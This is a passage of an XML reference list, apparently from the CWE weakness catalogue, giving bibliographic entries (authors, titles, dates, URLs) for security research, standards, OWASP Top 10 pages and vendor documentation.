			<URL>https://dl.acm.org/doi/abs/10.1145/3393628</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1184">
			<Author>Wikipedia</Author>
			<Title>Power Analysis</Title>
			<URL>https://en.wikipedia.org/wiki/Power_analysis</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1185">
			<Title>2021 CWE Top 25 Most Dangerous Software Weaknesses</Title>
			<Publication_Year>2021</Publication_Year>
			<Publication_Month>--07</Publication_Month>
			<Publication_Day>---20</Publication_Day>
			<URL>http://cwe.mitre.org/top25/archive/2021/2021_cwe_top25.html</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1186">
			<Title>Is COBOL holding you hostage with Math?</Title>
			<Publication_Year>2018</Publication_Year>
			<Publication_Month>--07</Publication_Month>
			<Publication_Day>---28</Publication_Day>
			<URL>https://medium.com/the-technical-archaeologist/is-cobol-holding-you-hostage-with-math-5498c0eb428b</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1187">
			<Title>Intermediate results and arithmetic precision</Title>
			<Publication_Year>2021</Publication_Year>
			<Publication_Month>--06</Publication_Month>
			<Publication_Day>---30</Publication_Day>
			<URL>https://www.ibm.com/docs/en/cobol-zos/6.2?topic=appendixes-intermediate-results-arithmetic-precision</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1188">
			<Title>8.1.2. Arbitrary Precision Numbers</Title>
			<Publication_Year>2021</Publication_Year>
			<Publication_Month>--06</Publication_Month>
			<Publication_Day>---24</Publication_Day>
			<URL>https://www.postgresql.org/docs/8.3/datatype-numeric.html#DATATYPE-NUMERIC-DECIMAL</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1189">
			<Title>Muller's Recurrence</Title>
			<Publication_Year>2017</Publication_Year>
			<Publication_Month>--11</Publication_Month>
			<Publication_Day>---11</Publication_Day>
			<URL>https://scipython.com/blog/mullers-recurrence/</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1190">
			<Title>An Improvement To Floating Point Numbers</Title>
			<Publication_Year>2015</Publication_Year>
			<Publication_Month>--10</Publication_Month>
			<Publication_Day>---22</Publication_Day>
			<URL>https://hackaday.com/2015/10/22/an-improvement-to-floating-point-numbers/</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1191">
			<Title>HIGH PERFORMANCE COMPUTING:  ARE WE JUST GETTING WRONG ANSWERS FASTER?</Title>
			<Publication_Year>1999</Publication_Year>
			<Publication_Month>--06</Publication_Month>
			<Publication_Day>---23</Publication_Day>
			<URL>https://www3.nd.edu/~markst/cast-award-speech.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1192">
			<Author>Information Technology Laboratory, National Institute of Standards and Technology</Author>
			<Title>FIPS PUB 140-3: SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES</Title>
			<Publication_Year>2019</Publication_Year>
			<Publication_Month>--03</Publication_Month>
			<Publication_Day>---22</Publication_Day>
			<URL>https://csrc.nist.gov/publications/detail/fips/140/3/final</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1193">
			<Author>James Kettle</Author>
			<Title>Server-Side Template Injection</Title>
			<Publication_Year>2015</Publication_Year>
			<Publication_Month>--08</Publication_Month>
			<Publication_Day>---05</Publication_Day>
			<URL>https://portswigger.net/research/server-side-template-injection</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1194">
			<Author>James Kettle</Author>
			<Title>Server-Side Template Injection: RCE For The Modern Web App</Title>
			<Publication_Year>2015</Publication_Year>
			<Publication_Month>--12</Publication_Month>
			<Publication_Day>---27</Publication_Day>
			<URL>https://www.youtube.com/watch?v=3cT0uE7Y87s</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1195">
			<Author>Philippe Arteau</Author>
			<Title>Template Injection in Action!</Title>
			<Publication_Year>2020</Publication_Year>
			<Publication_Month>--11</Publication_Month>
			<URL>https://gosecure.github.io/template-injection-workshop/#0</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1196">
			<Author>Pravinrp</Author>
			<Title>Server Side Template Injection</Title>
			<Publication_Year>2019</Publication_Year>
			<Publication_Month>--07</Publication_Month>
			<Publication_Day>---30</Publication_Day>
			<URL>https://medium.com/server-side-template-injection/server-side-template-injection-faf88d0c7f34</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1197">
			<Author>Health Care Industry Cybersecurity Task Force</Author>
			<Title>Report on Improving Cybersecurity in the
			Health Care Industry</Title>
			<Publication_Year>2017</Publication_Year>
			<Publication_Month>--06</Publication_Month>
			<URL>https://www.phe.gov/Preparedness/planning/CyberTF/Documents/report2017.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1198">
			<Title>close - Perldoc Browser</Title>
			<URL>https://perldoc.perl.org/functions/close</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1199">
			<Title>io - Core tools for working with streams &#8212; Python 3.9.7 documentation</Title>
			<Publication_Year>2021</Publication_Year>
			<Publication_Month>--09</Publication_Month>
			<Publication_Day>---02</Publication_Day>
			<URL>https://docs.python.org/3.9/library/io.html#io.IOBase.close</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1200">
			<Title>FileOutputStream (Java Platform SE 7 )</Title>
			<Publication_Year>2020</Publication_Year>
			<URL>https://docs.oracle.com/javase/7/docs/api/java/io/FileOutputStream.html</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1201">
			<Title>FileOutputStream (Java SE 11 &amp; JDK 11 )</Title>
			<Publication_Year>2021</Publication_Year>
			<URL>https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/io/FileOutputStream.html</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1202">
			<Author>Jo Van Bulck, Daniel Moghimi, Michael Schwarz, Moritz Lipp, Marina Minkin, Daniel Genkin, Yuval Yarom, Berk Sunar, Daniel Gruss, and Frank Piessens</Author>
			<Title>LVI - Hijacking Transient Execution with Load Value Injection</Title>
			<Publication_Year>2020</Publication_Year>
			<URL>https://lviattack.eu/</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1203">
			<Author>Jo Van Bulck, Daniel Moghimi, Michael Schwarz, Moritz Lipp, Marina Minkin, Daniel Genkin, Yuval Yarom, Berk Sunar, Daniel Gruss, and Frank Piessens</Author>
			<Title>LVI: Hijacking Transient Execution through Microarchitectural Load Value Injection</Title>
			<Publication_Year>2020</Publication_Year>
			<Publication_Month>--01</Publication_Month>
			<Publication_Day>---09</Publication_Day>
			<URL>https://lviattack.eu/lvi.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1204">
			<Title>Hijacking Transient Execution through Microarchitectural Load Value Injection</Title>
			<Publication_Year>2020</Publication_Year>
			<Publication_Month>--05</Publication_Month>
			<Publication_Day>---18</Publication_Day>
			<URL>https://www.youtube.com/watch?v=99kVz-YGi6Y</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1205">
			<Author>Stephan van Schaik, Marina Minkin, Andrew Kwong, Daniel Genkin, Yuval Yarom</Author>
			<Title>CacheOut: Leaking Data on Intel CPUs via Cache Evictions</Title>
			<Publication_Year>2020</Publication_Year>
			<Publication_Month>--12</Publication_Month>
			<Publication_Day>---28</Publication_Day>
			<URL>https://cacheoutattack.com/files/CacheOut.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1206">
			<Title>OWASP Top 10:2021</Title>
			<Publication_Year>2021</Publication_Year>
			<Publication_Month>--09</Publication_Month>
			<Publication_Day>---24</Publication_Day>
			<Publisher>OWASP</Publisher>
			<URL>https://owasp.org/Top10/</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1207">
			<Title>A01:2021 - Broken Access Control</Title>
			<Publication_Year>2021</Publication_Year>
			<Publication_Month>--09</Publication_Month>
			<Publication_Day>---24</Publication_Day>
			<Publisher>OWASP</Publisher>
			<URL>https://owasp.org/Top10/A01_2021-Broken_Access_Control/</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1208">
			<Title>A02:2021 - Cryptographic Failures</Title>
			<Publication_Year>2021</Publication_Year>
			<Publication_Month>--09</Publication_Month>
			<Publication_Day>---24</Publication_Day>
			<Publisher>OWASP</Publisher>
			<URL>https://owasp.org/Top10/A02_2021-Cryptographic_Failures/</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1209">
			<Title>A03:2021 - Injection</Title>
			<Publication_Year>2021</Publication_Year>
			<Publication_Month>--09</Publication_Month>
			<Publication_Day>---24</Publication_Day>
			<Publisher>OWASP</Publisher>
			<URL>https://owasp.org/Top10/A03_2021-Injection/</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1210">
			<Title>A04:2021 - Insecure Design</Title>
			<Publication_Year>2021</Publication_Year>
			<Publication_Month>--09</Publication_Month>
			<Publication_Day>---24</Publication_Day>
			<Publisher>OWASP</Publisher>
			<URL>https://owasp.org/Top10/A04_2021-Insecure_Design/</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1211">
			<Title>A05:2021 - Security Misconfiguration</Title>
			<Publication_Year>2021</Publication_Year>
			<Publication_Month>--09</Publication_Month>
			<Publication_Day>---24</Publication_Day>
			<Publisher>OWASP</Publisher>
			<URL>https://owasp.org/Top10/A05_2021-Security_Misconfiguration/</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1212">
			<Title>A06:2021 - Vulnerable and Outdated Components</Title>
			<Publication_Year>2021</Publication_Year>
			<Publication_Month>--09</Publication_Month>
			<Publication_Day>---24</Publication_Day>
			<Publisher>OWASP</Publisher>
			<URL>https://owasp.org/Top10/A06_2021-Vulnerable_and_Outdated_Components/</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1213">
			<Title>A07:2021 - Identification and Authentication Failures</Title>
			<Publication_Year>2021</Publication_Year>
			<Publication_Month>--09</Publication_Month>
			<Publication_Day>---24</Publication_Day>
			<Publisher>OWASP</Publisher>
			<URL>https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1214">
			<Title>A08:2021 - Software and Data Integrity Failures</Title>
			<Publication_Year>2021</Publication_Year>
			<Publication_Month>--09</Publication_Month>
			<Publication_Day>---24</Publication_Day>
			<Publisher>OWASP</Publisher>
			<URL>https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures/</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1215">
			<Title>A09:2021 - Security Logging and Monitoring Failures</Title>
			<Publication_Year>2021</Publication_Year>
			<Publication_Month>--09</Publication_Month>
			<Publication_Day>---24</Publication_Day>
			<Publisher>OWASP</Publisher>
			<URL>https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures/</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1216">
			<Title>A10:2021 - Server-Side Request Forgery (SSRF)</Title>
			<Publication_Year>2021</Publication_Year>
			<Publication_Month>--09</Publication_Month>
			<Publication_Day>---24</Publication_Day>
			<Publisher>OWASP</Publisher>
			<URL>https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1217">
			<Author>Ross Anderson</Author>
			<Title>Security Engineering</Title>
			<Publication_Year>2001</Publication_Year>
			<URL>https://www.cl.cam.ac.uk/~rja14/musicfiles/manuscripts/SEv1.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1218">
			<Author>Graham Cluley</Author>
			<Title>This Black Box Can Brute Force Crack iPhone PIN Passcodes</Title>
			<Publication>The Mac Security Blog</Publication>
			<Publication_Year>2015</Publication_Year>
			<Publication_Month>--03</Publication_Month>
			<Publication_Day>---16</Publication_Day>
			<URL>https://www.intego.com/mac-security-blog/iphone-pin-pass-code/</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1219">
			<Author>Monodeep Kar</Author>
			<Author>Arvind Singh</Author>
			<Author>Santosh Ghosh</Author>
			<Author>Sanu Mathew</Author>
			<Author>Anand Rajan</Author>
			<Author>Vivek De</Author>
			<Author>Raheem Beyah</Author>
			<Author>Saibal Mukhopadhyay</Author>
			<Title>Blindsight: Blinding EM Side-Channel Leakage using Built-In Fully Integrated Inductive Voltage Regulator</Title>
			<Publication_Year>2018</Publication_Year>
			<Publication_Month>--02</Publication_Month>
			<URL>https://arxiv.org/pdf/1802.09096.pdf</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1220">
			<Author>Zhenyu Ning</Author>
			<Author>Fengwei Zhang</Author>
			<Title>Understanding the Security of ARM Debugging Features</Title>
			<Publication>2019 IEEE Symposium on Security and Privacy (SP)</Publication>
			<Publication_Year>2019</Publication_Year>
			<Publication_Month>--05</Publication_Month>
			<Publication_Day>---22</Publication_Day>
			<URL>https://www.computer.org/csdl/proceedings-article/sp/2019/666000b156/19skgcwSgsE</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1221">
			<Author>Victor Lomne</Author>
			<Author>Thomas Roche</Author>
			<Title>A Side Journey to Titan</Title>
			<Publication_Year>2021</Publication_Year>
			<Publication_Month>--01</Publication_Month>
			<Publication_Day>---07</Publication_Day>
			<URL>https://web.archive.org/web/20210107182441/https://ninjalab.io/wp-content/uploads/2021/01/a_side_journey_to_titan.pdf</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1222">
			<Author>Alexandre Menu</Author>
			<Author>Jean-Max Dutertre</Author>
			<Author>Olivier Potin</Author>
			<Author>Jean-Baptiste Rigaud</Author>
			<Title>Experimental Analysis of the Electromagnetic Instruction Skip Fault Model</Title>
			<Publication>IEEE Xplore</Publication>
			<Publication_Year>2020</Publication_Year>
			<Publication_Month>--04</Publication_Month>
			<Publication_Day>---30</Publication_Day>
			<URL>https://ieeexplore.ieee.org/document/9081261</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1223">
			<Author>Niek Timmers</Author>
			<Author>Albert Spruyt</Author>
			<Author>Marc Witteman</Author>
			<Title>Controlling PC on ARM using Fault Injection</Title>
			<Publication_Year>2016</Publication_Year>
			<Publication_Month>--06</Publication_Month>
			<Publication_Day>---11</Publication_Day>
			<URL>https://fdtc.deib.polimi.it/FDTC16/shared/FDTC-2016-session_2_1.pdf</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1224">
			<Author>Colin O'Flynn</Author>
			<Title>Attacking USB Gear with EMFI</Title>
			<Publication>Circuit Cellar</Publication>
			<Publication_Year>2019</Publication_Year>
			<Publication_Month>--05</Publication_Month>
			<URL>https://www.totalphase.com/media/pdf/whitepapers/Circuit_Cellar_TP.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1225">
			<Author>Project Zero</Author>
			<Title>Exploiting the DRAM rowhammer bug to gain kernel privileges</Title>
			<Publication_Year>2015</Publication_Year>
			<Publication_Month>--03</Publication_Month>
			<Publication_Day>---09</Publication_Day>
			<URL>https://googleprojectzero.blogspot.com/2015/03/exploiting-dram-rowhammer-bug-to-gain.html</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1226">
			<Author>Information Technology Laboratory, National Institute of Standards and Technology</Author>
			<Title>FIPS PUB 140-2: SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES</Title>
			<Publication_Year>2001</Publication_Year>
			<Publication_Month>--05</Publication_Month>
			<Publication_Day>---25</Publication_Day>
			<URL>https://csrc.nist.gov/publications/detail/fips/140/2/final</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1227">
			<Author>Wikipedia</Author>
			<Title>Cryptographic primitive</Title>
			<URL>https://en.wikipedia.org/wiki/Cryptographic_primitive</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1228">
			<Author>Gilbert Goodwill</Author>
			<Author>Benjamin Jun</Author>
			<Author>Josh Jaffe</Author>
			<Author>Pankaj Rohatgi</Author>
			<Title>A testing methodology for side-channel resistance validation</Title>
			<Publication_Year>2011</Publication_Year>
			<URL>https://csrc.nist.gov/csrc/media/events/non-invasive-attack-testing-workshop/documents/08_goodwill.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1229">
			<Author>ISO/IEC</Author>
			<Title>ISO/IEC 17825:2016: Testing methods for the mitigation of non-invasive attack classes against cryptographic modules</Title>
			<Publication_Year>2016</Publication_Year>
			<URL>https://www.iso.org/standard/60612.html</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1230">
			<Author>Cryptography Research Inc.</Author>
			<Title>Test Vector Leakage Assessment (TVLA) Derived Test Requirements (DTR) with AES</Title>
			<Publication_Year>2015</Publication_Year>
			<Publication_Month>--08</Publication_Month>
			<URL>https://www.rambus.com/wp-content/uploads/2015/08/TVLA-DTR-with-AES.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1231">
			<Author>Danilo &#352;ija&#711;ci&#180;</Author>
			<Author>Josep Balasch</Author>
			<Author>Bohan Yang</Author>
			<Author>Santosh Ghosh</Author>
			<Author>Ingrid Verbauwhede</Author>
			<Title>Towards efficient and automated side-channel evaluations at design time</Title>
			<Publication>Journal of Cryptographic Engineering, 10(4)</Publication>
			<Publication_Year>2020</Publication_Year>
			<URL>https://www.esat.kuleuven.be/cosic/publications/article-3204.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1232">
			<Author>Amit Kumar</Author>
			<Author>Cody Scarborough</Author>
			<Author>Ali Yilmaz</Author>
			<Author>Michael Orshansky</Author>
			<Title>Efficient simulation of EM side-channel attack resilience</Title>
			<Publication>IEEE/ACM International Conference on Computer-Aided Design (ICCAD)</Publication>
			<Publication_Year>2017</Publication_Year>
			<URL>https://dl.acm.org/doi/pdf/10.5555/3199700.3199717</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1233">
			<Author>Yuan Yao</Author>
			<Author>Tuna Tufan</Author>
			<Author>Tarun Kathuria</Author>
			<Author>Baris Ege</Author>
			<Author>Ulkuhan Guler</Author>
			<Author>Patrick Schaumont</Author>
			<Title>Pre-silicon Architecture Correlation Analysis (PACA): Identifying and Mitigating the Source of Side-channel Leakage at Gate-level</Title>
			<Publication_Year>2021</Publication_Year>
			<Publication_Month>--04</Publication_Month>
			<Publication_Day>---21</Publication_Day>
			<Publisher>IACR Cryptology ePrint Archive</Publisher>
			<URL>https://eprint.iacr.org/2021/530.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1234">
			<Author>Elisabeth Oswald</Author>
			<Author>Thomas Popp</Author>
			<Author>Stefan Mangard</Author>
			<Title>Power Analysis Attacks - Revealing the Secrets of Smart Cards</Title>
			<Publication_Year>2007</Publication_Year>
			<URL>https://link.springer.com/book/10.1007/978-0-387-38162-6</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1235">
			<Author>David Oswald</Author>
			<Author>Bastian Richter</Author>
			<Author>Christof Paar</Author>
			<Title>Side-Channel Attacks on the Yubikey 2 One-Time Password Generator</Title>
			<Publication_Year>2013</Publication_Year>
			<Publication_Month>--06</Publication_Month>
			<Publication_Day>---14</Publication_Day>
			<URL>https://www.emsec.ruhr-uni-bochum.de/media/crypto/veroeffentlichungen/2014/02/04/paper_yubikey_sca.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1236">
			<Author>NIST</Author>
			<Title>CAVP Testing: Individual Component Testing</Title>
			<URL>https://csrc.nist.gov/projects/cryptographic-algorithm-validation-program/component-testing</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1237">
			<Author>CERT Coordination Center</Author>
			<Title>Intel BIOS locking mechanism contains race condition that enables write protection bypass</Title>
			<Publication_Year>2015</Publication_Year>
			<Publication_Month>--01</Publication_Month>
			<Publication_Day>---05</Publication_Day>
			<URL>https://www.kb.cert.org/vuls/id/766164/</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1238">
			<Author>MITRE</Author>
			<Title>2021 CWE Most Important Hardware Weaknesses</Title>
			<Publication_Year>2021</Publication_Year>
			<Publication_Month>--10</Publication_Month>
			<Publication_Day>---28</Publication_Day>
			<URL>https://cwe.mitre.org/scoring/lists/2021_CWE_MiHW.html</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1239">
			<Author>Fran&#231;ois-Xavier Standaert</Author>
			<Title>How (not) to Use Welch's T-test in Side-Channel Security Evaluations</Title>
			<Publication_Year>2017</Publication_Year>
			<Publication_Month>--02</Publication_Month>
			<Publication_Day>---15</Publication_Day>
			<Publisher>IACR Cryptology ePrint Archive</Publisher>
			<URL>https://eprint.iacr.org/2017/138.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1240">
			<Author>Carolyn Whitnall</Author>
			<Author>Elisabeth Oswald</Author>
			<Title>A Critical Analysis of ISO 17825 ('Testing methods for the mitigation of non-invasive attack classes against cryptographic modules')</Title>
			<Publication_Year>2019</Publication_Year>
			<Publication_Month>--09</Publication_Month>
			<Publication_Day>---10</Publication_Day>
			<Publisher>IACR Cryptology ePrint Archive</Publisher>
			<URL>https://eprint.iacr.org/2019/1013.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1241">
			<Author>Wikipedia</Author>
			<Title>Network on a chip</Title>
			<URL>https://en.wikipedia.org/wiki/Network_on_a_chip</URL>
			<URL_Date>2021-10-24</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1242">
			<Author>Subodha Charles</Author>
			<Author>Prabhat Mishra</Author>
			<Title>A Survey of Network-on-Chip Security Attacks and Countermeasures</Title>
			<Publication>ACM Computing Surveys</Publication>
			<Publication_Year>2021</Publication_Year>
			<Publication_Month>--05</Publication_Month>
			<URL>https://dl.acm.org/doi/fullHtml/10.1145/3450964</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1243">
			<Author>Bruce Schneier</Author>
			<Title>Cryptanalysis of SHA-1</Title>
			<Publication_Year>2005</Publication_Year>
			<Publication_Month>--02</Publication_Month>
			<Publication_Day>---18</Publication_Day>
			<URL>https://www.schneier.com/blog/archives/2005/02/cryptanalysis_o.html</URL>
			<URL_Date>2021-10-25</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1244">
			<Author>Dan Goodin</Author>
			<Title>At death's door for years, widely used SHA1 function is now dead</Title>
			<Publication_Year>2017</Publication_Year>
			<Publication_Month>--02</Publication_Month>
			<Publication_Day>---23</Publication_Day>
			<Publisher>Ars Technica</Publisher>
			<URL>https://arstechnica.com/information-technology/2017/02/at-deaths-door-for-years-widely-used-sha1-function-is-now-dead/</URL>
			<URL_Date>2021-10-25</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1245">
			<Author>Subodha Charles</Author>
			<Title>Design of Secure and Trustworthy Network-on-chip Architectures</Title>
			<Publication_Year>2020</Publication_Year>
			<URL>https://www.cise.ufl.edu/research/cad/Publications/charlesThesis.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1246">
			<Author>National Telecommunications and Information Administration</Author>
			<Title>SOFTWARE BILL OF MATERIALS</Title>
			<URL>https://ntia.gov/page/software-bill-materials</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1247">
			<Author>NTIA Multistakeholder Process on Software Component Transparency Framing Working Group</Author>
			<Title>Framing Software Component Transparency: Establishing a Common Software Bill of Materials (SBOM)</Title>
			<Publication_Year>2021</Publication_Year>
			<Publication_Month>--10</Publication_Month>
			<Publication_Day>---21</Publication_Day>
			<URL>https://www.ntia.gov/files/ntia/publications/ntia_sbom_framing_2nd_edition_20211021.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1248">
			<Author>Securing Energy Infrastructure Executive Task Force (SEI ETF)</Author>
			<Title>Categories of Security Vulnerabilities in ICS</Title>
			<Publication_Year>2022</Publication_Year>
			<Publication_Month>--03</Publication_Month>
			<Publication_Day>---09</Publication_Day>
			<URL>https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1_03-09-22.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1249">
			<Author>Dawid Golunski</Author>
			<Title>PHPMailer &lt; 5.2.18 Remote Code Execution [CVE-2016-10033]</Title>
			<Publication_Year>2016</Publication_Year>
			<Publication_Month>--12</Publication_Month>
			<Publication_Day>---25</Publication_Day>
			<URL>https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1250">
			<Author>Dawid Golunski</Author>
			<Title>Pwning PHP mail() function For Fun And RCE</Title>
			<Publication_Year>2017</Publication_Year>
			<Publication_Month>--05</Publication_Month>
			<Publication_Day>---03</Publication_Day>
			<URL>https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1251">
			<Author>Drew Branch</Author>
			<Title>WebSockets not Bound by SOP and CORS? Does this mean...</Title>
			<Publication_Year>2018</Publication_Year>
			<Publication_Month>--06</Publication_Month>
			<Publication_Day>---06</Publication_Day>
			<URL>https://blog.securityevaluators.com/websockets-not-bound-by-cors-does-this-mean-2e7819374acc</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1252">
			<Author>Mehul Mohan</Author>
			<Title>How to secure your WebSocket connections</Title>
			<Publication_Year>2018</Publication_Year>
			<Publication_Month>--11</Publication_Month>
			<Publication_Day>---12</Publication_Day>
			<URL>https://www.freecodecamp.org/news/how-to-secure-your-websocket-connections-d0be0996c556/</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1253">
			<Author>PortSwigger</Author>
			<Title>Testing for WebSockets security vulnerabilities</Title>
			<URL>https://portswigger.net/web-security/websockets</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1254">
			<Author>FDA</Author>
			<Title>Cybersecurity in Medical Devices: Quality System Considerations and Content of Premarket Submissions Draft Guidance for Industry and Food and Drug Administration Staff (DRAFT GUIDANCE)</Title>
			<Publication_Year>2022</Publication_Year>
			<Publication_Month>--04</Publication_Month>
			<Publication_Day>---08</Publication_Day>
			<URL>https://www.fda.gov/media/119933/download</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1255">
			<Author>Sergei P. Skorobogatov</Author>
			<Title>Semi-invasive attacks - A new approach to hardware security analysis</Title>
			<Publication_Year>2005</Publication_Year>
			<Publication_Month>--04</Publication_Month>
			<URL>https://www.cl.cam.ac.uk/techreports/UCAM-CL-TR-630.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1256">
			<Author>Vickie Li</Author>
			<Title>Cross-Site WebSocket Hijacking (CSWSH)</Title>
			<Publication_Year>2019</Publication_Year>
			<Publication_Month>--11</Publication_Month>
			<Publication_Day>---27</Publication_Day>
			<URL>https://medium.com/swlh/hacking-websocket-25d3cba6a4b9</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1257">
			<Author>Christian Schneider</Author>
			<Title>Cross-Site WebSocket Hijacking (CSWSH)</Title>
			<Publication_Year>2013</Publication_Year>
			<Publication_Month>--09</Publication_Month>
			<Publication_Day>---01</Publication_Day>
			<URL>https://christian-schneider.net/CrossSiteWebSocketHijacking.html</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1258">
			<Author>Wikipedia</Author>
			<Title>Random early detection</Title>
			<URL>https://en.wikipedia.org/wiki/Random_early_detection</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1259">
			<Author>Wikipedia</Author>
			<Title>Transport Layer Security</Title>
			<URL>https://en.wikipedia.org/wiki/Transport_Layer_Security</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1260">
			<Author>Thu T. Pham</Author>
			<Title>The Great DNS Vulnerability of 2008 by Dan Kaminsky</Title>
			<Publication_Year>2016</Publication_Year>
			<Publication_Month>--04</Publication_Month>
			<Publication_Day>---26</Publication_Day>
			<URL>https://duo.com/blog/the-great-dns-vulnerability-of-2008-by-dan-kaminsky</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1261">
			<Author>Sam Weber</Author>
			<Author>Paul A. Karger</Author>
			<Author>Amit Paradkar</Author>
			<Title>A Software Flaw Taxonomy: Aiming Tools At Security</Title>
			<Publication_Year>2005</Publication_Year>
			<URL>https://cwe.mitre.org/documents/sources/ASoftwareFlawTaxonomy-AimingToolsatSecurity%5BWeber,Karger,Paradkar%5D.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1262">
			<Author>Eran Shimony</Author>
			<Title>Follow the Link: Exploiting Symbolic Links with Ease</Title>
			<Publication_Year>2019</Publication_Year>
			<Publication_Month>--10</Publication_Month>
			<Publication_Day>---03</Publication_Day>
			<URL>https://www.cyberark.com/resources/threat-research-blog/follow-the-link-exploiting-symbolic-links-with-ease</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1263">
			<Author>James Forshaw</Author>
			<Title>A Link to the Past - Abusing Symbolic Links on Windows</Title>
			<URL>https://www.youtube.com/watch?v=0KO3oGXtMNo</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1264">
			<Author>James Forshaw</Author>
			<Title>Windows 10^H^H Symbolic Link Mitigations</Title>
			<Publication_Year>2015</Publication_Year>
			<Publication_Month>--08</Publication_Month>
			<Publication_Day>---25</Publication_Day>
			<URL>https://googleprojectzero.blogspot.com/2015/08/windows-10hh-symbolic-link-mitigations.html</URL>
		</External_Reference>
